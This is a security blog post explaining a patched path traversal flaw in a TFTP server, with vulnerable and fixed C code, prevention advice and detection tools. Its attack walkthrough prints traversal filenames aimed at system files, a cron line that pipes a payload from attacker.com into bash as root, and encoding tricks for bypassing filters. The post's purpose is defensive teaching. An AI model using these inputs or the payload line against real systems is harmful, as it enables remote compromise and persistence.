Back to Blog
critical SEVERITY12 min read

Path Traversal in TFTP Server: How Directory Traversal Bugs Enable Arbitrary File Writes

A critical path traversal vulnerability (CWE-22) was discovered and patched in a TFTP server implementation where unsanitized filenames in write requests could allow attackers to overwrite arbitrary files on the host filesystem. This post breaks down how the vulnerability worked, how it was exploited, and what developers can do to prevent similar issues in their own code.

O
By orbisai0security
•May 19, 2026

Path Traversal in TFTP Server: How Directory Traversal Bugs Enable Arbitrary File Writes

Vulnerability ID: V-001 | Severity: šŸ”“ CRITICAL | CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)


Introduction

Imagine handing someone a key to a storage room and telling them they can only access shelf number three — but you never actually checked whether they could use that key to open every other room in the building. That's essentially what a path traversal vulnerability does in software.

A critical security flaw was recently identified and patched in tqftpserv.c, a TFTP (Trivial File Transfer Protocol) server implementation. The vulnerability allowed an unauthenticated attacker to supply a maliciously crafted filename in a write request and use directory traversal sequences to write arbitrary content to any location on the filesystem accessible to the service process.

For developers working on embedded systems, firmware update servers, network services, or anything that handles file paths derived from user input — this is a vulnerability pattern you need to understand deeply. It's deceptively simple, devastatingly impactful, and surprisingly common.


The Vulnerability Explained

What Is Path Traversal?

Path traversal (also known as directory traversal) is a class of vulnerability where an application uses user-controlled input to construct a filesystem path without properly validating or sanitizing it. By injecting special sequences like ../ (dot-dot-slash), an attacker can "climb" out of the intended directory and access or modify files elsewhere on the system.

In this case, the TFTP server was designed to handle firmware write requests (WRQ) from clients. The server would receive a filename from the client and use it — without validation — to determine where to write the incoming data.

The Technical Details

The vulnerability existed across two files:

  • tqftpserv.c (line 537): Processed incoming WRQ (Write Request) packets without validating or canonicalizing the requested filename.
  • translate.c: Performed unsanitized path concatenation, directly joining a base directory with the client-supplied filename string.

Here's a conceptual illustration of what the vulnerable code pattern looked like:

// VULNERABLE - Conceptual example of the flawed pattern
void handle_wrq(int sock, struct sockaddr *client, char *filename) {
    char filepath[PATH_MAX];

    // āŒ Directly concatenating user-supplied filename with no validation
    snprintf(filepath, sizeof(filepath), "%s/%s", BASE_DIR, filename);

    // āŒ No check that the resolved path stays within BASE_DIR
    // āŒ No canonicalization of the path
    // āŒ No authorization check for the requesting client

    FILE *fp = fopen(filepath, "wb");
    // ... write received data to fp
}

And in translate.c, the path building looked something like:

// VULNERABLE - Unsanitized path construction
char *build_path(const char *base, const char *requested) {
    char *result = malloc(strlen(base) + strlen(requested) + 2);
    // āŒ No canonicalization, no traversal detection
    sprintf(result, "%s/%s", base, requested);
    return result;
}

How Could It Be Exploited?

TFTP is a simple, UDP-based protocol with no built-in authentication. A client sends a WRQ packet containing the filename it wants to write. In this implementation, that filename was passed directly into the path construction logic.

An attacker on the network could send a WRQ request with a filename like:

../../etc/cron.d/malicious_job

Or more dangerously on embedded/IoT devices:

../../etc/passwd
../../etc/shadow
../../lib/firmware/device_fw.bin
../../etc/init.d/startup_script

Because the path was never canonicalized or validated to remain within the intended base directory, the server would happily resolve BASE_DIR/../../etc/passwd to /etc/passwd and begin writing attacker-controlled content to that file.

Three Compounding Problems

What made this vulnerability particularly severe was the combination of three missing controls:

  1. No filename validation: The server accepted any string as a valid filename, including sequences like ../, ..\\, or URL-encoded variants.
  2. No path canonicalization: The constructed path was never resolved to its absolute form and checked against the allowed base directory.
  3. No authorization check: There was no mechanism to verify whether a given client was permitted to write firmware files at all.

Real-World Impact

The real-world impact of this vulnerability is severe, particularly in the context where TFTP servers are commonly deployed:

Scenario Impact
Embedded/IoT devices Overwrite firmware, bootloader configs, or startup scripts to achieve persistent compromise
Network boot infrastructure Replace PXE boot images to deliver malicious OS images to booting machines
Industrial control systems Corrupt configuration files or PLCs firmware
General servers Overwrite cron jobs, SSH authorized_keys, sudoers, or service configurations

In the worst case, an attacker could achieve persistent remote code execution by overwriting an executable or configuration file that runs at system startup — all without any authentication.

Attack Scenario Walkthrough

Let's walk through a realistic attack:

Target: A network appliance running this TFTP server for firmware updates, where the service runs as root (common in embedded environments).

Attacker position: Same network segment (or any network if the TFTP port is exposed).

Step 1: Attacker sends a WRQ packet:

WRQ "../../etc/cron.d/backdoor" mode octet

Step 2: Server constructs path:

/var/tftp/firmware/../../etc/cron.d/backdoor
→ resolves to: /etc/cron.d/backdoor

Step 3: Attacker sends data blocks containing:

* * * * * root curl http://attacker.com/payload.sh | bash

Step 4: Within one minute, the cron daemon executes the attacker's payload as root.

Total time: Under 60 seconds. No credentials required.


The Fix

The patch addressed this vulnerability by introducing two critical controls in tqftpserv.c and translate.c:

1. Path Canonicalization and Jail Check

The fix uses realpath() (or an equivalent) to resolve the full, canonical path of the requested file before opening it, then verifies that the resolved path starts with the expected base directory:

// FIXED - Path validation with canonicalization
int handle_wrq(int sock, struct sockaddr *client, char *filename) {
    char filepath[PATH_MAX];
    char resolved[PATH_MAX];

    // Step 1: Construct the candidate path
    snprintf(filepath, sizeof(filepath), "%s/%s", BASE_DIR, filename);

    // Step 2: Resolve to canonical absolute path
    // realpath() resolves all symlinks, . and .. components
    if (realpath(filepath, resolved) == NULL) {
        // Path doesn't exist yet — resolve the parent directory instead
        // and reconstruct carefully
        log_error("Failed to resolve path: %s", filepath);
        return -1;
    }

    // Step 3: Verify the resolved path is within BASE_DIR
    // āœ… This is the critical check that prevents traversal
    if (strncmp(resolved, BASE_DIR, strlen(BASE_DIR)) != 0) {
        log_warning("Path traversal attempt detected: %s -> %s", 
                    filename, resolved);
        send_error(sock, client, EACCES, "Access denied");
        return -1;
    }

    // Step 4: Now safe to open the file
    FILE *fp = fopen(resolved, "wb");
    if (!fp) {
        send_error(sock, client, errno, "Cannot open file");
        return -1;
    }

    // ... proceed with write
    return 0;
}

2. Filename Sanitization in translate.c

The path construction in translate.c was updated to reject filenames containing traversal sequences before even attempting path construction:

// FIXED - Sanitized path construction
int is_safe_filename(const char *filename) {
    // āŒ Reject empty filenames
    if (!filename || strlen(filename) == 0) return 0;

    // āŒ Reject absolute paths
    if (filename[0] == '/') return 0;

    // āŒ Reject traversal sequences
    if (strstr(filename, "../") != NULL) return 0;
    if (strstr(filename, "..\\") != NULL) return 0;
    if (strcmp(filename, "..") == 0) return 0;

    // āŒ Reject null bytes (path truncation attacks)
    if (memchr(filename, '\0', strlen(filename) + 1) != filename + strlen(filename))
        return 0;

    return 1; // āœ… Filename appears safe
}

char *build_path(const char *base, const char *requested) {
    // āœ… Validate before constructing
    if (!is_safe_filename(requested)) {
        log_warning("Rejected unsafe filename: %s", requested);
        return NULL;
    }

    char *result = malloc(strlen(base) + strlen(requested) + 2);
    if (!result) return NULL;

    sprintf(result, "%s/%s", base, requested);
    return result;
}

Why This Fix Works

The defense is layered — which is exactly how security controls should be applied:

  • Layer 1 (translate.c): Reject obviously malicious filenames early, before any filesystem operations occur. This is fast and catches the most common attack patterns.
  • Layer 2 (tqftpserv.c): Even if a traversal sequence somehow slips through (e.g., encoded variants, symlink-based attacks), the canonical path is resolved and verified against the base directory. This is the definitive check.

The combination ensures that even if an attacker finds a way to bypass the string-based check in Layer 1, Layer 2 will catch the actual filesystem-level traversal.

āš ļø Important Note on realpath(): When the target file doesn't yet exist (which is common for write requests), realpath() will fail. The fix should handle this by resolving the parent directory canonically and then appending only the basename of the requested file — ensuring both that the parent is within bounds and that the final filename component contains no path separators.


Prevention & Best Practices

Core Principles for Safe File Path Handling

1. Never trust user-supplied path components

Treat any filename or path that comes from a network client, user input, environment variable, or configuration file as untrusted. Always validate before use.

2. Use allowlists, not denylists

The sanitization function above uses a denylist (blocking ../, /, etc.). While this is a good first layer, it's inherently incomplete — there are many encoding tricks attackers use:
- URL encoding: %2e%2e%2f → ../
- Double encoding: %252e%252e%252f
- Unicode: ..%c0%af (overlong UTF-8 slash)
- Null bytes: filename.txt\x00../../../etc/passwd

A stronger approach is to allowlist only the characters you expect in valid filenames:

int is_valid_filename_strict(const char *filename) {
    if (!filename || strlen(filename) == 0) return 0;
    if (strlen(filename) > 255) return 0; // Reasonable length limit

    // āœ… Only allow alphanumeric, hyphen, underscore, dot
    // Adjust this regex/character set for your use case
    for (const char *p = filename; *p; p++) {
        if (!isalnum(*p) && *p != '-' && *p != '_' && *p != '.') {
            return 0;
        }
    }

    // āœ… Disallow leading dots (hidden files / relative refs)
    if (filename[0] == '.') return 0;

    return 1;
}

3. Always canonicalize and verify

After constructing a path, always resolve it to its canonical form and verify it falls within your intended directory:

// The canonical path jail check — always do this
int path_is_within_base(const char *base, const char *path) {
    char canonical_base[PATH_MAX];
    char canonical_path[PATH_MAX];

    if (!realpath(base, canonical_base)) return 0;
    if (!realpath(path, canonical_path)) return 0;

    // Ensure base ends with / for prefix matching
    size_t base_len = strlen(canonical_base);
    if (canonical_base[base_len - 1] != '/') {
        canonical_base[base_len] = '/';
        canonical_base[base_len + 1] = '\0';
        base_len++;
    }

    return strncmp(canonical_path, canonical_base, base_len) == 0;
}

4. Apply the Principle of Least Privilege

The TFTP server had no authorization check — any client could write any file. Even after fixing path traversal, consider:
- Should all clients be able to write files, or only specific ones?
- Should the service run as a dedicated low-privilege user rather than root?
- Should write operations be limited to specific file extensions (e.g., .bin, .fw)?

5. Log and alert on suspicious activity

Even if an attack is blocked, you want to know about it:

if (!path_is_within_base(BASE_DIR, resolved_path)) {
    // Log with enough context for forensics
    log_security_event(
        "PATH_TRAVERSAL_ATTEMPT",
        "client=%s requested_file=%s resolved_path=%s",
        client_addr_str, filename, resolved_path
    );
    send_error_response(client, EACCES);
    return -1;
}

Tools and Techniques to Detect Path Traversal

Tool/Technique Type Notes
CodeQL Static Analysis Excellent taint tracking for path traversal in C/C++, Java, Python
Semgrep Static Analysis Fast, customizable rules; many path traversal rules available
AFL++ / libFuzzer Fuzzing Feed malformed filenames; great for finding edge cases
OWASP ZAP Dynamic Testing Automated path traversal probes for web-exposed services
Burp Suite Dynamic Testing Manual + automated traversal testing for HTTP services
Valgrind/AddressSanitizer Memory Safety Catches buffer overflows that can accompany path bugs
chroot / containers Runtime Defense Even if traversal succeeds, limits filesystem access
seccomp / AppArmor Runtime Defense Restrict which filesystem paths the process can access at OS level

Relevant Security Standards and References


Conclusion

Path traversal vulnerabilities are a timeless class of bug — they've been in the OWASP Top 10 for decades, yet they continue to appear in production code. The reason is simple: it's easy to write code that works without thinking about what happens when the input is adversarial.

The key takeaways from this vulnerability and its fix:

  1. User-supplied filenames are untrusted input — always treat them that way, regardless of the protocol or context.
  2. Defense in depth works: The fix applied both early rejection (filename sanitization) and a definitive filesystem-level check (canonical path verification). Neither alone is sufficient.
  3. Missing authorization is a force multiplier: Path traversal combined with no access controls meant the attack required zero credentials and zero prior knowledge of the system.
  4. Least privilege limits blast radius: If the TFTP service ran as a dedicated user with access only to the firmware directory, even a successful traversal would have limited impact.
  5. Detection matters: Log suspicious path inputs. Blocked attacks are still valuable signals.

Security is not about writing perfect code — it's about building systems that are hard to exploit even when individual components have flaws. Validate inputs early, enforce boundaries at the filesystem level, apply least privilege, and monitor for anomalies.

If you're building any service that handles file paths derived from external input — whether it's a TFTP server, a web application, a build system, or an IoT firmware updater — take 30 minutes today to audit how you construct and validate those paths. It might be the most valuable 30 minutes you spend this month.


This fix was identified and patched automatically by OrbisAI Security. Automated security scanning can catch these issues before they reach production — consider integrating security scanning into your CI/CD pipeline.


Have questions about path traversal or secure file handling? Drop a comment below or reach out to our security team.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #44

Related Articles

medium

Mass Assignment Vulnerability: Why Your Rails Models Need attr_accessible

A medium-severity mass assignment vulnerability was identified in a Ruby on Rails model that lacked proper attribute whitelisting via `attr_accessible` or strong parameters. Without this protection, attackers can manipulate any model attribute through crafted HTTP requests, potentially escalating privileges or corrupting data. The fix enforces explicit attribute allowlisting, closing the door on unauthorized mass assignment exploitation.

critical

Shell Injection via os.system(): How a Single Line of Code Can Compromise Your System

A critical OS command injection vulnerability (CWE-78) was discovered and patched in `voice.py`, where user-controlled input was interpolated directly into a shell command string passed to `os.system()`. An attacker who could influence the `device` variable — through a config file, environment variable, or any external input — could execute arbitrary system commands with the full privileges of the running process. The fix replaces the dangerous `os.system()` calls with Python's `subprocess.run()

critical

Command Injection via os.system() in DeepSpeed's Data Analyzer: A Critical Fix

A critical command injection vulnerability was discovered in DeepSpeed's `data_analyzer.py`, where an `os.system()` call directly interpolated an unsanitized file path variable into a shell command string. An attacker who could influence dataset configuration or file paths could execute arbitrary shell commands on the host machine. The fix replaces the dangerous shell invocation with safe, Python-native file operations that never touch a shell interpreter.

high

CVE-2026-40073: How a BODY_SIZE_LIMIT Bypass in @sveltejs/adapter-node Put Your App at Risk

CVE-2026-40073 is a high-severity vulnerability in `@sveltejs/adapter-node` that allows attackers to bypass the `BODY_SIZE_LIMIT` configuration, potentially enabling denial-of-service attacks and resource exhaustion against SvelteKit applications. The vulnerability was silently present in versions prior to `@sveltejs/kit` 2.57.1, and has now been patched by upgrading the dependency across all affected project examples. If your application relies on body size limits to protect against oversized p

medium

From eval() to ast.literal_eval(): Closing a Code Injection Door in Slack Data Processing

A medium-severity vulnerability was discovered in a Slack data processing component where the use of Python's built-in `eval()` function to parse error message dictionaries could allow an attacker to inject and execute arbitrary code. The fix replaces `eval()` with the safer `ast.literal_eval()`, which safely evaluates only Python literals without executing arbitrary expressions. This change eliminates a critical attack surface that could have been exploited through crafted error messages return

critical

Critical Buffer Overflow in ELF Parser: How a Missing Bounds Check Almost Became a Heap Exploit

A critical out-of-bounds memory vulnerability was discovered and patched in `utils/symbol-rawelf.c`, where two separate `memcpy` calls lacked proper bounds validation when processing ELF binary files. Without these checks, a maliciously crafted ELF file could trigger an out-of-bounds read or heap overflow, potentially leading to remote code execution or memory corruption. This post breaks down how the vulnerability works, how it was fixed, and what every C developer should know about safe memory